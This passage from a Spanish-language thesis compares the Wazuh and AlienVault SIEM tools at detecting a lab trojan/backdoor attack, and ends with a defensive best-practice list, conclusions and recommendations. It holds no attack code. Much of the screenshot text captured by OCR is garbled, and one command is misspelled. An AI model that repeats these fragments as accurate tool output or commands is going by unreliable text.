Para la verificar que se tuvo un evento en el agente, la plataforma da el monitoreo de
los cambios de archivos y directorios del sistema para la deteccion de modificaciones

no autorizadas, tal como se visualiza en la Figura 3.68.

42



FIM: Recent events
Twme & Foth Action Aulc doacriptism Rule Lo Rute Id

v-config aIN Fie adde

Figura 3.68 Analisis en Recent events

Se procede a ingresar a las 3 opciones antes mencionadas para verificar como estan
actuando. Iniciando por el THREAT HUNTING, casa de amenazas, buscando y
detectando amenazas a la red antes de que causen dafio. El THREAT HUNTING busca
identificar y neutralizar amenazas activas o potenciales que no han sido detectadas por

las defensas de seguridad. Tal como se muestra en la Figura 3.69.

899 76 39 30

Figura 3.69 Deteccion de THREAT HUNTING
En la Figura 3.70, se observa la parte de monitoreo donde dan varias opciones que

cada una tiene su prop6sito y son las siguientes:

Total: NUumero de eventos registrados en el sistema durante el analisis de

monitoreo, dando el volumen de actividades que se han detectado.

Leven 12 or Above Alerts: Indica la cantidad de alertas en diferentes niveles
de severidad. Wazuh permite clasificar niveles de alertas indicando si son

criticas y requieren atencion inmediata.
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Authentication failure: Representa la cantidad de fallos de autenticacion.
Estas autenticaciones indican el acceso no autorizado o problemas con el

registro de credenciales.

Authentication success: Indica la cantidad de autenticaciones exitosas.
Esto permite validar el acceso de usuario legitimo y ver si todas las acciones

estan corriendo sin ningun problema.

Level 12 or above alert Authentication failure Authentication success

899 76 39 30

Figura 3.70 Métricas del sistema de monitoreo de Wazuh

Para la identificacion del atague, se observa que en la Figura 3.71, se tiene una grafica
la cual permite monitorear la gestion de seguridad en un entorno, teniendo una rapida
respuesta ante cualquier ataque. Para identificar mejor el monitoreo se tienen ciertas

alertas las cuales son:

Syslog: es un protocolo estandar para el envio de mensajes de registro,
proporcionando alertas de problemas de red, servicio de sistemay mensajes
de kernel.

Wazhu: es el monitoreo de la propia plataforma, brindando alertas de
integridad, deteccién de rootkits, configuracion de seguridad, eventos de

auditoria.

Windows: Alertas del sistema operativo, actividades sospechosas.

Web: alertas con las aplicaciones web, servicios 0 accesos no autorizados.
SSHD: Alertas del servicio SSH (Secure Shell).

GCP: Alertas con Google Cloud Platform.

Rootcheck: Para la deteccién de rootkits, actividades sospechosas para la

ocultar malware.
Oscap: Cumplimiento e implementacion de los estandares de seguridad.
Accesslog: Es la actividad de registro sospechoso o registro de accesos.

Amazon: Alertas de amazon.

44



Para identificar el MALWARE o el troyano Backdoor que dirige a la opcion de RootCheck
que es un modulo de Wazuh que permite detectar rootkits ya que son programas
disefiados para ocultar la presencia del malware. El RootCheck ayuda a identificar las
amenazas ocultas y asegurar la integridad. En la Figura 3.71 se presenta la herramienta
para la deteccion de MALWARE.

Top 10 Alert groups evolution

Count

Figura 3.71 Herramienta rootcheck

En Figura 3.72 se muestra el nimero de alertas mas casuales que brinda el servidor
Wazuh al detectar el atague Backdoor dando como alertas de comportamientos
sospechosos, intentos de ingreso, solicitudes incorrectas, anomalias del servidor web,

inicio de sesién de agente.

Top S alerts

Figura 3.72 Alertas de seguridad

Se ingresa a la opcién MITRE ATT&CK es una base de datos de conocimientos de
tacticas, técnicas que pueden realizar los atacantes. En la Figura 3.73 se observa las
variaciones y detecciones que puede tener contra el ataque. Wazuh relaciona el ataque
troyano Backdoor con el de fuerza bruta ya que el comportamiento o actividades se
caracterizan similarmente por el método de operacion o ciertos indicadores, permitiendo

ser detectados en el sistema de monitoreo.
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Figura 3.73 Deteccion MITRE ATT&CK

En la Figura 3.74 se ilustra las alertas de tiempo de las amenazas o actividades
realizadas como Brute Force, Romote Service, Valid Accounts, Email Colletion y
Endponit Denia lof service. Estas alertas permiten monitorear y analizar actividades

sospechosas respondiendo de manera adecuada.

Alerts evolution over time

Figura 3.74 Alertas de tiempo

En la siguiente Figura 3.75, se observan unas barras que presentan el nimero de
sucesos detectados, la altura de la barra indica la cantidad de alertas relacionados.
Estas tacticas describen los objetivos que tienen los atacantes durante su ejecucion,
permitiendo detectar areas especificas de riesgo implantando mejor las medidas de

seguridad.

MITRE attacks by tactic

Figura 3.75 Clasificados segun las tacticas
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Para la seguridad el MITRE ATT&CK proporciona un listado de tacticas que permiten
tener respuesta a las amenazas mejorando la seguridad, teniendo estrategias

defensivas, tal como se muestra en la Figura 3.76.

Laseral Movemare
Inaad Access
Deferse Evasion

Parsstonce

Priviege Escalaton

® Crodential Acooss
Colecton

Irpact

Command and Control
Duscovery

Figura 3.76 Tacticas de seguridad

Por dltimo y el que se necesita para la detencion del ataque troyano es la opcion de
MALWARE DETECCION, ya que permite detectar todo tipo de ataque de MALWARE
con ciertas aplicaciones de Rootkit, tal como se ilustra en la Figura 3.77.

= W.  Mahware Detect Windows8 a

Dashboard  Events i Windows8 (001) ® [ Generate report
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A This dashboard contains sample data

The data displayed may contain sample alerts. Go here to configure the sample data.

@ Host bassd anamay. @ Host based anomay

timestamp per 30 minutes

Events per control type evolution s

@ Trojned version of f.

@ Rootii Knar detect

timestamp per 30 minutes Foatke 7 detected.

Figura 3.77 Deteccion MALWARE DETECCION

En la parte de eventos se muestran todas las acciones que ha podido reconocer el
servidor de Wazuh, asi como se ilustra en la Figura 3.78.
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Count

50 hits

4, 2024 @ 01:50-38 530 - Jul 25, 2024 @ 01:S0-38530 | Auta

b ilame pee 30 minutes

data title rule.description ruie level

Figura 3.78 Eventos de MALWARE DETECCION

rule.id

En la Figura 3.79 se observan varios eventos los cuales algunos son reconocidos como

el ataque troyano y Rootkis los cuales permiten esconder la presencia del malware.

Figura 3.79 Deteccion del ataque Troyano

Finalmente, el analisis que se aplicd con el servidor Wazuh permite detectar y neutralizar

cualquier ataque antes de que haya alguna inconveniente en lared. Ya que la plataforma

permite tener reglas como técticas para tener la infraestructura a salvo de cualquier

atacante ya que se conoce todas las técnicas que pueden usar para hacer vulnerable al

equipo o a la red de la empresa u organizaciones.

Andlisis de resultados con ALIEN VAULT

Para el andlisis en el servidor de Alien Vault. Primeramente, se verifica el estado inicial

del agente antes de que se produzca el ataque, ver la Figura 3.80.
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WELCOME ADMIN | ALIENVAULT 192.168.195.130 | SETTINGS SUPPORT LOGOUT

=8 AN Gl X

DASHBOARDS ANALYSIS ENVIRONMENT REPORTS CONFIGURATION
OVERVIEW >}
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SECURITY EVENTS: TOP 5 ALARMS |- SIEM: TOP 10 EVENT CATEGORIES = TOP OTX ACTIVITY IN YOUR ENVIRONMENT (51 7
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emerging threats in your environment.
94%
No data available yet. HEE m

SIEM VS LOGGER EVENTS — TOP 10 HOSTS WITH MULTIPLE EVENTS =1 2 SIEM: EVENTS BY SENSOR/DATA SOURCE

® alienvault

Figura 3.80 Andlisis inicial del agente en el servidor Alien Vault

En la Figura 3.81 se presentan las funciones blogueadas, esto sucede ya que al ser un
servidor de paga no todas las opciones estan habilitadas, pero si se permite tener

andlisis del ataque.

Para deteccion del MALWARE o ataque troyano se ingresa en la ventana principal del

servidor, se ingresa a la parte de alertas tal como se ilustra en la Figura 3.81.

Figura 3.81 Acceso a las alertas

Ya ingresado a las alertas, se encuentra un listado de logs tal como se ilustra en la

Figura 3.82, donde se visualiza los eventos de deteccion.
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Figura 3.82 Listado de eventos

Para ver qué tiene cada evento se da click y al ingresar, esto proporciona la informacion
necesaria para poder entender que esta sucediendo al agente. En este servidor brinda
los datos del atacante como su direccion IP, el sistema operativo que esté utilizando, lo

detecta como intruso. Estos andlisis se observan en la Figura 3.83.
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Figura 3.83 Descripcion del ataque Backdoor
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Andlisis técnico comparativo entre los dos SIEM

A continuacion, en la Tabla 3.6 se encuentra una comparacion entre sus requerimientos

minimos tanto de hardware como de software ademas de sus principales caracteristicas.

Tabla 3.6 Analisis comparativo de Wazuh y ALIEN VAULT

Caracteristicas

SIEM ALIEN VAULT WAZUH
RAM 8-16 (GB) 4-8 (GB)
Sistema operativo Solo Linux En varios sistemas
operativos
Almacenamiento 500 (GB a 1TB) 50 (GB)
CPU 4 nacleos 2 nucleos

Mantenimiento

Mantenimiento proactivo
con parches y

actualizaciones

Parches y Actualizaciones

manualmente

vulnerabilidades

identificar la parte de la

infraestructura.

Seguridad Maneja la seguridad a Seguridad a nivel de
nivel de aplicacion e configuracion del servidor
infraestructura y datos.
Interfaz Tiene su propia interfaz Utiliza Kibana para su
interfaz gréafica
Gestién de Realiza escaneos para Identifica vulnerabilidades

en el sistemay

aplicaciones.

Numero de agentes

1-10 gratuita, o depende
de la licencia que

compren

1-25

Soporte en la Nube

Soporte a través de su
producto AlienVault USM
Anywhere

Compatible con las nubes
AWS, Azure, Google
Cloud y Privada

Tipo de codigo

Comercial

Abierto

Monitoreo

Monitoreo en tiempo real
a través de sus interfaces
centralizadas,
visualizando los eventos
de seguridad a medida

gue van sucediendo

Monitoreo en tiempo real,
pero se visualiza a través
de las herramientas
complementarias como
KIBANA
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SIEM

ALIEN VAULT

WAZUH

FEED de Amenazas

Se encuentra instalado

No se encuentra
instalado, pero se ingresa

fuentes de amenazas

Escalabilidad

Puede tener limitacién
basado en la licencia que

se adquiera

Puede ser adaptado para
grandes entornos con

varias fuentes de datos.

Personalizacion

Solucién preconfigurada
con menos necesidad de

ajustes

Altamente personalizable
debido a la naturaleza de
codigo abierto

Inteligencia de Amenazas

Inteligencia de amenazas

integradas

Integrarse con varios tipos

de fuentes.

Deteccién de amenazas

Multiples motores de
deteccion

Reglas de deteccion

Soportes

Soporte comercial
Ofrece un soporte técnico
para las compafias que
necesitan una respuesta

rapida y dedicada

Soporte comunitario y
opciones comerciales
adicionales.
Ofrece un soporte basado
en la comunidad del

usuario y desarrolladores.

Utilizacién

Pagada finalizado 6 dias
de prueba

Gratuitita

Respuesta

Al momento de realizar el
ataque Alien Vault tiene
una mejor respuesta con

respecto de donde fue
realizado, cual fue el
ataque, el sistema
operativo que ataco y por
ultimo se tiene la direccion

IP del atacante

Al momento de realizar el
ataque se presentan
varias graficas las cuales
si no se tiene el
conocimiento de algunos
acrénimos no se podra
entender que esta

pasando en el equipo
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Manual técnico con las mejores précticas ante un ataque de

malware

Asegurar que todos los dispositivos tengan actualizados los sistemas operativos,
aplicaciones y software de seguridad con las ultimas actualizaciones de
seguridad.

Integras soluciones de seguridad como firewalls, sistemas de deteccién de
intrusos y antivirus para la proteccion de los dispositivos.

Ensefar a los empleados sobre las mejores practicas de seguridad, visualizando
correos sospechosos o alguna aplicacion de phishing, ya que por medio de este
pueden infiltrarse algunos gusanos o troyanos.

Tener herramientas de monitoreo para la deteccion de actividades sospechosas
en toda la red y en los sistemas.

Configurar todo el sistema para recibir alertas al momento de detectar alguna
actividad sospechosa.

Crear reglar para analizar el comportamiento del usuario y del sistema para la
deteccion de malware.

Al detectar un sistema infectado, desconectar de la red para evitar propagacion
del malware en todos los dispositivos.

Utilizando herramientas de andlisis, detectar el tipo de alcance que tiene el
malware.

Para la eliminacion del malware es recomendable usar un antivirus o en casos
extremos formatear y reinstalar el sistema.

Identificar y corregir las vulnerabilidades débiles que permitieron el ataque.
Actualizar las politicas de seguridad para prevenir ataques futuros, considerando
implementar medidas de multifactor.

Evitar ingresar o navegar a paginas no muy seguras ya gue con un solo click
permites el acceso a los intrusos.

No descargar informacion de paginas no recomendadas, ya que los malware
permanecen ocultos y son dificiles de detectarlos.

Manejar paginas seguras identificando que las direcciones sean legitimas.
Evitar dar informacién personal a personas desconocidas ya que pueden hacer
un phishing.

Siempre mantener los dispositivos bloqueados al momento de no utilizarlos ya

gue otras personas pueden robar la informacion.
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e Tener contrasefias fuertes mayor de 12 caracteristicas, usando letras en

mayusculas, numeros y algun caracter especial.

4 CONCLUSIONES

e Los sistemas SIEM: Alien Vault y Wazuh, demostraron ser dos herramientas
claves de seguridad y que pueden ser utilizadas con facilidad en operaciones de
analisis de intrusos y deteccion de vulnerabilidades.

e AlienVault es una plataforma de seguridad integral que integra varias funciones
de seguridad, lo cual permite tener mejor acceso a la parte de analisis, pero con
un costo adicional, caso contrario su analisis es un reducido.

e Wazuh es un proyecto de cédigo abierto lo cual permite tener un mayor acceso
al andlisis de seguridad, pero con un detalle mas técnico que solo las personas
especializadas pueden entender, que para una persona normal seria muy dificil
entenderlo sin que lo investiguen.

e Se concluye que las herramientas que ofrece Wazuh depende mucho de las
versiones que se estén utilizando, ya que si se esta usando versiones antiguas
puede que se tenga que crear esa regla para poder identificar el ataque.

e Al analizar en analisis del ataque en la plataforma Alien Vault se visualiza que
brinda el sistema operativo atacante, la direccion IP que esta utilizando y la
deteccion de intruso, mientras que Wazuh tiene varias técnicas y tacticas las
cuales ayudan a saber el origen del ataque.

e Parala agregacion del agente en la herramienta Alien Vault es muy compleja ya
que primero se debe crear un host con la misma direccién del agente que se esta
utilizando, si se utiliza un sistema operativo Windows hay que descargar una
aplicacion extra para vincularlo o si es otro sistema operativo hay que ingresar
varios comandos para su vinculacion con el servidor. Mientras que la
herramienta Wazuh la agregacién del agente es mucho mas sencillo, ya que toda
la configuracion se lo realiza en toda su interfaz y con dos comandos se los
puede instalar, solo hay que verificar qué sistema operativo se esta utilizando.

e Se concluye que para realizar el ataque troyano se debe verificar que la victima
haya descargo algun ejecutable donde se encuentre ocultado el virus para poder
tener acceso.

e Se concluy6 que para la realizacion del ataque Backdoor se necesita tener un

ejecutable el cual brinde acceso a otro dispositivo, sin importar que sea un
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programa, video, imagen, juegos, etc. El ejecutable permanece oculto hasta que
abran o inicial cualquier archivo infectado.

Se concluye que, si la herramienta de Alien Vault no fuera muy costosa, se
pudiera acceder a todo su catalogo de deteccibn de amenazas vy
vulnerabilidades, teniendo un analisis mas completo para prevenir los ataques.
Se concluyé que no es necesario virtualizar las maquinas en el GNS3 ya que los
programas de virtualizacién cuentan con switch virtuales, los cuales permiten
tener una red interna para el presente trabajo curricular.

Se concluye que hay varias herramientas del SIEM como el Elastic Search que
al igual permiten tener analisis de intruso y vulnerabilidades. Lo complejo de este
SIEM es que necesita muchos recursos como componentes para poder brindar
el andlisis correspondiente y lo mas importante este SIEM es para personas que
tengan conocimientos en la parte de programacion ya que es muy nhecesario
programar las reglas necesarios para la deteccién de intrusos.

Para el uso de Alien Vault se requiri6 una maquina de apoyo la cual permite
conectarse a la interfaz grafica ya que la maquina virtual donde se instala el
SIEM no tiene interfaz gréfica, solo es de lineas de comandos. Con la direccion
IP creada, se procede a ingresar desde cualquier navegador permitiendo la

visualizacion de la interfaz de Alien Vault.

RECOMENDACIONES

Tener en cuenta los requisitos que necesitan para instalar los SIEM, ya que hay
algunas herramientas como ALIEN VAULT que necesitan una RAM mayor de
8(Gb) para su perfecto funcionamiento.

Verificar las versiones de los SIEM ya que no todas las versiones tienen todas
las herramientas posibles para detectar el ataque requerido, un ejemplo el SIEM
Wazuh para poder detectar el MALWARE se debe tener la Gltima version que es
la 4.8.

Para la utilizacién de las maquinas virtuales no es necesario utilizar GNS3 ya
gue en la aplicacién del VMware se tiene un Switch digital el cual permite tener
conectividad en toda la red sin estar creando una topologia extra.

Tener en cuenta que si se quiere utilizar todas las opciones en el AlienVault se
tendra que pagar para asi tener acceso a cada una de ella.

Verificar si la tarjeta RAM y la memoria del equipo, en donde estén utilizando las

maquinas pueda rendir para todo si no se debe aumentar la memoria y la RAM
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ya que algunos SIEM son exigentes al momento de instalarse y piden méas de lo
normal.

Tener en cuenta que si se configurd las maquinas virtuales con la red del hogar
y si se traslada el equipo, donde se encuentran las maquinas, a otro sitio es
posible que el direccionamiento cambie, dando problemas de conectividad y se
pierde la informacion de los SIEM ya instalados.

Para la agregacion de los agentes en el servidor Wazuh hay que verificar mucho
la version ya que en algunos casos no le detecta al agente y es imposible
detectarlo.

Para la agregacién del agente en el AlienVault hay que tener en cuenta que al
configurar el direccionamiento se debe incluir la direccién IP del agente para que
pueda ser reconocida, si se utiliza otra direccion IP que no sea del agente este
no sera detectado por el servidor.

Para la instalacion de los SIEM hay que tener todas las herramientas instaladas
del programa de virtualizacion para evitar problemas o que no se instalen todos
los recursos de los SIEM.

Dependiendo la utilidad no es recomendable usar GNS3 para la virtualizacion ya
que se esta utilizando el VMware y puede causar pérdida de datos a la maquina
virtualizada o en otros casos nunca encenderse.

Para tener un mejor rendimiento si se tiene las aplicaciones de VMware y GNS3
instalados es mejor desinstalarlos y volverlo a instalar ya que puede tener algin
dafio o no estar completamente instalados.

Al momento de instalar el SIEM Alien Vault se puede omitir algunas funciones
de la maquina para que no consuma muchos recursos y tenga mas capacidad.
Para la seguridad de la red es necesario siempre tener actualizados los antivirus
o instalar un Firewall para mejor proteccion.

Para tener un mejor andlisis de los SIEM es mejor tratar de crear reglas
personalizadas para asi detectar algin virus que no esté agregado en los SIEM.
Para tener mas conocimiento de los SIEM, es mejor buscar informacién de cada
uno y estar informado de cada actualizacion ya que puede tener nuevas
funciones o no estar estable para la seguridad.

Tener en cuenta que al volver a iniciar la herramienta Wazuh se debe ingresar
el comando de inicio (sudo systemctl star Wazuh-manager) ya que si no se lo
aplica puede dar problemas en el acceso a la interfaz provocando que se dafie

la configuracion.
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